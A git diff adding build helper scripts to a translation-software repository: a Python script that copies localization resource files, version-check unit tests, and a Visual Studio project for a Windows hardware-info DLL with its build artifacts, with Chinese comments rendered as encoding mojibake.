workspace_pathes.get(username) +git_repo_path = git_repo_pathes.get(username) +build_path = build_pathes.get(username) +build_copy_files = build_copy_pathes.get(username) +target_platform_path = target_platform_pathes.get(username) +temp_path = temp_pathes.get(username) + +if __name__ == '__main__': + print('此脚本仅供é…置多个脚本的共用å‚数,没有实际功能。请在相应的脚本中 import åŽä½¿ç”¨ï¼') diff --git a/tools/pyscripts/old/CopyResources.py b/tools/pyscripts/old/CopyResources.py new file mode 100755 index 0000000..3fa37c1 --- /dev/null +++ b/tools/pyscripts/old/CopyResources.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 + +import os +import os.path +import shutil +import logging + + +WS_PATH = '/Users/felix_lu/Documents/r8space' +COPYTO = '/Users/felix_lu/Desktop/R8L10N-zh' +COPYFROM = '/Users/felix_lu/Desktop/R8L10N-en' +PLUGIN_PREFIX = 'net.heartsome.cat.' +l10n_en = [] +l10n_zh = [] +l10n = [] + + +class PropFile(): + '''处ç†æ¯ä¸ªèµ„æºæ–‡ä»¶çš„文件å映射ã€å¤åˆ¶è¿›/出工作空间的逻辑''' + + def __init__(self, zhPath): + '''用中文版资æºæ–‡ä»¶çš„ç»å¯¹è·¯å¾„åˆå§‹åŒ–对象''' + assert(os.path.isabs(zhPath)) + self.zhPath = zhPath + # 直接替æ¢è¯­è¨€åŽç¼€ï¼Œå¾—到英文版和默认资æºæ–‡ä»¶è·¯å¾„ + self.enPath = zhPath.replace('_zh', '_en') + self.defaultPath = zhPath.replace('_zh', '') + # 从路径中截å–æ’件å称 + self.pluginName = zhPath.replace(WS_PATH, '').split(os.sep)[1] + + def mapName(self): + '''文件å映射:去掉æ’件å称的å‰ç¼€åŽã€ä½œä¸ºæ–°æ–‡ä»¶åå‰ç¼€ï¼Œå†ä¸ŽåŽŸæ–‡ä»¶å拼接''' + prefix = self.pluginName.replace(PLUGIN_PREFIX, '') + name = os.path.split(self.zhPath)[-1] + return prefix + '.' + name + + def copyOut(self): + '''将资æºæ–‡ä»¶ä»Žå·¥ä½œç©ºé—´å¤åˆ¶åˆ°æŒ‡å®šç›®å½•ï¼Œå¹¶æŒ‰ä¸Šè¿°æ˜ å°„规则改å''' + if not os.path.exists(COPYTO): + os.makedirs(COPYTO) + targetPath = os.path.join(COPYTO, self.mapName()) + logging.info('å¤åˆ¶ {0}\n为 {1}'.format( + self.zhPath.replace(WS_PATH, ''), + targetPath.replace(COPYTO, ''))) + shutil.copyfile(self.zhPath, targetPath) + + def copyEnIn(self): + '''将资æºæ–‡ä»¶ä»ŽæŒ‡å®šçš„目录å¤åˆ¶åˆ°å·¥ä½œç©ºé—´ï¼Œå¹¶æŒ‰æ˜ å°„规则åå‘改å,且修改为 _en åŽç¼€''' + sourcePath = os.path.join(COPYFROM, self.mapName()) + logging.info('å¤åˆ¶ {0}\n为 {1}'.format( + sourcePath.replace(COPYFROM, ''), + self.enPath.replace(WS_PATH, ''))) + shutil.copyfile(sourcePath, self.enPath) + + def copyDefaultIn(self): + '''将资æºæ–‡ä»¶ä»ŽæŒ‡å®šçš„目录å¤åˆ¶åˆ°å·¥ä½œç©ºé—´ï¼Œå¹¶æŒ‰æ˜ å°„规则åå‘改å,且去掉åŽç¼€''' + sourcePath = os.path.join(COPYFROM, self.mapName()) + logging.info('å¤åˆ¶ {0}\n为 {1}'.format( + sourcePath.replace(COPYFROM, ''), + self.defaultPath.replace(WS_PATH, ''))) + shutil.copyfile(sourcePath, self.defaultPath) + + +def findWsPropFiles(): + '''列出工作空间中的所有中文版资æºæ–‡ä»¶ï¼Œä¿å­˜åœ¨ List 对象中''' + for root, dirs, files in os.walk(WS_PATH): + # 去掉éšè—目录和 bin 目录 + if not root.startswith(WS_PATH + os.sep + '.') and ( + not (os.sep + 'bin' + os.sep) in root): + for name in files: + # 过滤出资æºæ–‡ä»¶åŽç¼€å,并排除无用的资æºæ–‡ä»¶ + if ('.properties' in name) and (name != 'build.properties')\ + and (name != 'log4j.properties'): + path = os.path.join(root, name) + # 仅按文件å是å¦æœ‰ _zh åŽç¼€æ¥åˆ¤æ–­ + if '_zh' in name: + l10n_zh.append(path) + + +def getPropFiles(): + '''列出指定目录中的所有资æºæ–‡ä»¶ï¼Œä¿å­˜åœ¨ List 中返回''' + result = [] + for root, dirs, files in os.walk(COPYFROM): + # 去掉éšè—目录和 bin 目录 + if not root.startswith(COPYFROM + os.sep + '.') and ( + not (os.sep + 'bin' + os.sep) in root): + for name in files: + # 过滤出资æºæ–‡ä»¶åŽç¼€å,并排除无用的资æºæ–‡ä»¶ + if ('.properties' in name) and (name != 'build.properties')\ + and (name != 'log4j.properties'): + path = os.path.join(root, name) + result.append(path) + return result + + +def copyZhOut(): + '''完整的å¤åˆ¶å·¥ä½œç©ºé—´ä¸­çš„中文版资æºæ–‡ä»¶åˆ°å¤–部目录的æµç¨‹''' + logging.info('从工作空间 {0} å¤åˆ¶èµ„æºæ–‡ä»¶åˆ° {1} ...'.format(WS_PATH, COPYTO)) + print('从工作空间 {0} å¤åˆ¶èµ„æºæ–‡ä»¶åˆ° {1} ...'.format(WS_PATH, COPYTO)) + findWsPropFiles() + copyCount = 0 + # é€ä¸ªå¤„ç†èµ„æºæ–‡ä»¶ + for path in l10n_zh: + prop = PropFile(path) + prop.copyOut() + copyCount += 1 + if copyCount: + logging.info('å¤åˆ¶å®Œæˆï¼å…±å¤åˆ¶äº† {0} 个资æºæ–‡ä»¶ã€‚\n'.format(copyCount)) + print('å¤åˆ¶å®Œæˆï¼å…±å¤åˆ¶äº† {0} 个资æºæ–‡ä»¶ã€‚\n'.format(copyCount)) + else: + print('没有匹é…的资æºæ–‡ä»¶å¯å¤åˆ¶ã€‚\n') + + +def copyEnIn(): + '''完整的å¤åˆ¶å¤–部目录中的英文版资æºæ–‡ä»¶åˆ°å·¥ä½œç©ºé—´çš„æµç¨‹''' + logging.info('从 {0} å¤åˆ¶èµ„æºæ–‡ä»¶åˆ°å·¥ä½œç©ºé—´ {1} ...'.format(COPYFROM, WS_PATH)) + print('从 {0} å¤åˆ¶èµ„æºæ–‡ä»¶åˆ°å·¥ä½œç©ºé—´ {1} ...'.format(COPYFROM, WS_PATH)) + findWsPropFiles() + propFiles = getPropFiles() + copied = [] + # 从工作空间å过æ¥æ‰¾èµ„æºæ–‡ä»¶ + for path in l10n_zh: + tgtProp = PropFile(path) + for srcProp in propFiles: + srcPropName = os.path.split(srcProp)[-1] + # 当å‰æ–‡ä»¶å与工作空间映射出æ¥çš„文件å一致时,认为是åŒä¸€ä¸ªèµ„æºæ–‡ä»¶å¯¹è±¡ + if (srcPropName not in copied) \ + and (srcPropName == tgtProp.mapName()): + # tgtProp.copyDefaultIn() + tgtProp.copyEnIn() + copied.append(srcPropName) + if copied: + logging.info('å¤åˆ¶å®Œæˆï¼å…±å¤åˆ¶äº† {0} 个资æºæ–‡ä»¶ã€‚\n'.format(len(copied))) + print('å¤åˆ¶å®Œæˆï¼å…±å¤åˆ¶äº† {0} 个资æºæ–‡ä»¶ã€‚\n'.format(len(copied))) + else: + print('没有匹é…的资æºæ–‡ä»¶å¯å¤åˆ¶ã€‚\n') + + +def main(): + logging.basicConfig(filename='CopyResources.log', format='%(asctime)s %(message)s', + level=logging.INFO) + # copyZhOut() + copyEnIn() + + +if __name__ == '__main__': + main() diff --git a/tools/pyscripts/old/checkVersions.test.py b/tools/pyscripts/old/checkVersions.test.py new file mode 100755 index 0000000..2b1ab0e --- /dev/null +++ b/tools/pyscripts/old/checkVersions.test.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import unittest + +from checkVersions import Vcs + + +class TestVcsFunctions(unittest.TestCase): + """注æ„:以下测试结果å–决于代ç ä»“库的实际æ交历å²ï¼Œå½“时测试通过的数æ®ï¼Œåœ¨ä»£ç ä»“库更新åŽå¾ˆæœ‰å¯èƒ½ä¼šå¤±è´¥ã€‚""" + def setUp(self): + self.vcs = Vcs() + + def test_is_diff_only_changed_identifier_true(self): + result = self.vcs.is_diff_only_changed_identifier( + 'f1db629e', + 'ts/net.heartsome.cat.ts.edition_ultimate.feature/UltimateEdition.product', + 'version=', + 'fd42c095') + self.assertTrue(result) + + def test_is_diff_only_changed_identifier_false(self): + result = self.vcs.is_diff_only_changed_identifier( + '08c37857', + 'ts/net.heartsome.cat.ts.edition_ultimate.feature/UltimateEdition.product', + 'version=', + 'e32384a5') + self.assertFalse(result) + + def test_is_diff_only_changed_identifier_v820(self): + result = self.vcs.is_diff_only_changed_identifier( + '08c37857', + 'ts/net.heartsome.cat.ts.edition_ultimate.feature/UltimateEdition.product', + 'version=') + self.assertFalse(result) + + def test_get_latest_ver_and_date_ue(self): + result = self.vcs.get_latest_ver_and_date( + file_list=['ts/net.heartsome.cat.ts.edition_ultimate.feature', ]) + self.assertIsNotNone(result) + # 此结果会å—代ç åº“最新的æ交历å²å½±å“ + self.assertEqual(result['date'], '20130403') + self.assertEqual( + result['ver'], '08c37857daccac2e90616016679ca4b733da0318') + + def test_get_latest_ver_and_date_repo(self): + result = self.vcs.get_latest_ver_and_date() + self.assertIsNotNone(result) + # 此结果会å—代ç åº“最新的æ交历å²å½±å“ + self.assertEqual(result['date'], '20130412') + self.assertEqual( + result['ver'], '6d8957878f0eaa923dced3741cf370a8b08b1cec') + + def test_get_latest_ver_and_date_license(self): + result = self.vcs.get_latest_ver_and_date( + file_list=['base_plugins/net.heartsome.cat.ts.help', ]) + self.assertIsNotNone(result) + # 此结果会å—代ç åº“最新的æ交历å²å½±å“ + self.assertEqual(result['date'], '20130408') + self.assertEqual( + result['ver'], 'fa0291e77ab8fa5b3082bf564b1e9b2261afff79') + + def test_get_latest_ver_and_date_none(self): + result = self.vcs.get_latest_ver_and_date( + file_list=['.project', ]) + # 此结果会å—代ç åº“最新的æ交历å²å½±å“ + self.assertIsNone(result) + + def test_get_project_pathes(self): + result = self.vcs.get_project_pathes() + self.assertIsNotNone(result) + self.assertTrue( + '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/base_plugins/net.heartsome.cat.ts.help' in result) + # 这里没有一一验è¯æ‰€æœ‰é¡¹ç›®æ˜¯å¦éƒ½å·²æ‰¾åˆ°ç›¸åº”的路径 + self.assertTrue( + '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.edition_ultimate.feature' in result) + + def test_get_latest_ver_and_date_except_identifier_10_left(self): + result = self.vcs.get_latest_ver_and_date_except_identifier( + ['/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/.classpath', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/.project', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/build.properties', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/plugin.properties', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/plugin.xml', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/plugin_en.properties', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/plugin_zh.properties', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/.settings/org.eclipse.jdt.core.prefs', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/match-type/bing.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/match-type/google.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/match-type/others.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/match-type/pt.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/match-type/qt.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/match-type/tm.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/status/Loading.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/accept-all.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/accept-text.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/delete-match.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/edit-match.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/tm-info.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/images/tm-view/tm_title.png', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/Activator.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/ImageConstants.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/bean/TmConstants.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/comparator/Comparator.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/comparator/TokenComparator.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/dialog/TmMatchEditDialog.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/dialog/TmMatchEditorBodyMenu.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message.properties', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message_en.properties', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message_zh.properties', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/Messages.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchViewerBodyMenu.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchViewPart.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/SourceColunmCellRenderer.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TargetColunmCellRenderer.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TranslationTaskContainer.java', '/Volumes/iMac-User/Projects/hsgit/translation-studio_test/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/TypeColunmCellRenderer.java'], + 'META-INF/MANIFEST.MF', + 'Bundle-Version:') + self.assertIsNotNone(result) + # 此结果会å—代ç åº“最新的æ交历å²å½±å“ + self.assertEqual(result['date'], '20130411') + self.assertEqual(result['ver'], 'f4d97306c3f75b6de18d206dcab2aee253d0ab77') + + +if __name__ == '__main__': + unittest.main() diff --git a/tools/pyscripts/old/checkVersions.xmind b/tools/pyscripts/old/checkVersions.xmind new file mode 100644 index 0000000..a606c88 Binary files /dev/null and b/tools/pyscripts/old/checkVersions.xmind differ diff --git a/tools/win_x86_Series/Debug/win_x86_Series.dll b/tools/win_x86_Series/Debug/win_x86_Series.dll new file mode 100644 index 0000000..a3093e8 Binary files /dev/null and b/tools/win_x86_Series/Debug/win_x86_Series.dll differ diff --git a/tools/win_x86_Series/Debug/win_x86_Series.exp b/tools/win_x86_Series/Debug/win_x86_Series.exp new file mode 100644 index 0000000..b675bf4 Binary files /dev/null and b/tools/win_x86_Series/Debug/win_x86_Series.exp differ diff --git a/tools/win_x86_Series/Debug/win_x86_Series.ilk b/tools/win_x86_Series/Debug/win_x86_Series.ilk new file mode 100644 index 0000000..5c65528 Binary files /dev/null and b/tools/win_x86_Series/Debug/win_x86_Series.ilk differ diff --git a/tools/win_x86_Series/Debug/win_x86_Series.lib b/tools/win_x86_Series/Debug/win_x86_Series.lib new file mode 100644 index 0000000..a3bd389 Binary files /dev/null and b/tools/win_x86_Series/Debug/win_x86_Series.lib differ diff --git a/tools/win_x86_Series/Debug/win_x86_Series.pdb b/tools/win_x86_Series/Debug/win_x86_Series.pdb new file mode 100644 index 0000000..74be840 Binary files /dev/null and b/tools/win_x86_Series/Debug/win_x86_Series.pdb differ diff --git a/tools/win_x86_Series/readme.txt b/tools/win_x86_Series/readme.txt new file mode 100644 index 0000000..6de7df7 --- /dev/null +++ b/tools/win_x86_Series/readme.txt @@ -0,0 +1,2 @@ +这个工程是用æ¥R8中读å–windows下硬件信æ¯ç”Ÿæˆdll,使用的工具为Microsoft Visual Studio 2010; +JNI学习å¯ä»¥çœ‹http://www.cnblogs.com/lifesting/archive/2010/10/11/1846909.html 。 \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series.sln b/tools/win_x86_Series/win_x86_Series.sln new file mode 100644 index 0000000..1d9b65f --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "win_x86_Series", "win_x86_Series\win_x86_Series.vcxproj", "{54DBDC33-3B4F-410B-BF6D-D88BA5AAEB8D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {54DBDC33-3B4F-410B-BF6D-D88BA5AAEB8D}.Debug|Win32.ActiveCfg = Debug|Win32 + {54DBDC33-3B4F-410B-BF6D-D88BA5AAEB8D}.Debug|Win32.Build.0 = Debug|Win32 + {54DBDC33-3B4F-410B-BF6D-D88BA5AAEB8D}.Debug|x64.ActiveCfg = Debug|x64 + {54DBDC33-3B4F-410B-BF6D-D88BA5AAEB8D}.Debug|x64.Build.0 = Debug|x64 + {54DBDC33-3B4F-410B-BF6D-D88BA5AAEB8D}.Release|Win32.ActiveCfg = Release|Win32 + {54DBDC33-3B4F-410B-BF6D-D88BA5AAEB8D}.Release|Win32.Build.0 = Release|Win32 + {54DBDC33-3B4F-410B-BF6D-D88BA5AAEB8D}.Release|x64.ActiveCfg = Release|x64 + {54DBDC33-3B4F-410B-BF6D-D88BA5AAEB8D}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/tools/win_x86_Series/win_x86_Series.suo b/tools/win_x86_Series/win_x86_Series.suo new file mode 100644 index 0000000..6713d02 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series.suo differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/CL.read.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/CL.read.1.tlog new file mode 100644 index 0000000..d315a69 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/CL.read.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/CL.write.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/CL.write.1.tlog new file mode 100644 index 0000000..7c6fb9f Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/CL.write.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/cl.command.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/cl.command.1.tlog new file mode 100644 index 0000000..01ac8a4 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/cl.command.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link-cvtres.read.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link-cvtres.write.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.3832-cvtres.read.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.3832-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/link.3832-cvtres.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.3832-cvtres.write.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.3832-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/link.3832-cvtres.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.3832.read.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.3832.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/link.3832.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.3832.write.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.3832.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/link.3832.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.4028-cvtres.read.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.4028-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/link.4028-cvtres.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.4028-cvtres.write.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.4028-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/link.4028-cvtres.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.4028.read.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.4028.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/link.4028.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.4028.write.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.4028.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/link.4028.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.command.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.command.1.tlog new file mode 100644 index 0000000..20b9a36 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/link.command.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.read.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.read.1.tlog new file mode 100644 index 0000000..7322fb6 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/link.read.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/link.write.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/link.write.1.tlog new file mode 100644 index 0000000..34be2ae Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/link.write.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/mt.command.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/mt.command.1.tlog new file mode 100644 index 0000000..952e57f Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/mt.command.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/mt.read.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/mt.read.1.tlog new file mode 100644 index 0000000..30763ff Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/mt.read.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/mt.write.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/mt.write.1.tlog new file mode 100644 index 0000000..c46dfd9 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/mt.write.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/rc.command.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/rc.command.1.tlog new file mode 100644 index 0000000..9cf177d Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/rc.command.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/rc.read.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/rc.read.1.tlog new file mode 100644 index 0000000..48e565b Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/rc.read.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/rc.write.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/rc.write.1.tlog new file mode 100644 index 0000000..382def4 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/rc.write.1.tlog differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/vc100.idb b/tools/win_x86_Series/win_x86_Series/Debug/vc100.idb new file mode 100644 index 0000000..c469660 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/vc100.idb differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/vc100.pdb b/tools/win_x86_Series/win_x86_Series/Debug/vc100.pdb new file mode 100644 index 0000000..a71afe0 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/vc100.pdb differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.dll.embed.manifest b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.dll.embed.manifest new file mode 100644 index 0000000..8f4d0bf --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.dll.embed.manifest @@ -0,0 +1,2 @@ + +true \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.dll.embed.manifest.res b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.dll.embed.manifest.res new file mode 100644 index 0000000..00c6af7 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.dll.embed.manifest.res differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.dll.intermediate.manifest b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.dll.intermediate.manifest new file mode 100644 index 0000000..1c06b61 --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.dll.intermediate.manifest @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.lastbuildstate b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.lastbuildstate new file mode 100644 index 0000000..e4de4d4 --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Debug|Win32|C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\| diff --git a/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.pch b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.pch new file mode 100644 index 0000000..7bf6103 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.pch differ diff --git a/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.write.1.tlog b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.write.1.tlog new file mode 100644 index 0000000..3fc15e0 --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series.write.1.tlog @@ -0,0 +1,85 @@ +^c:\documents and settings\test\my documents\visual studio 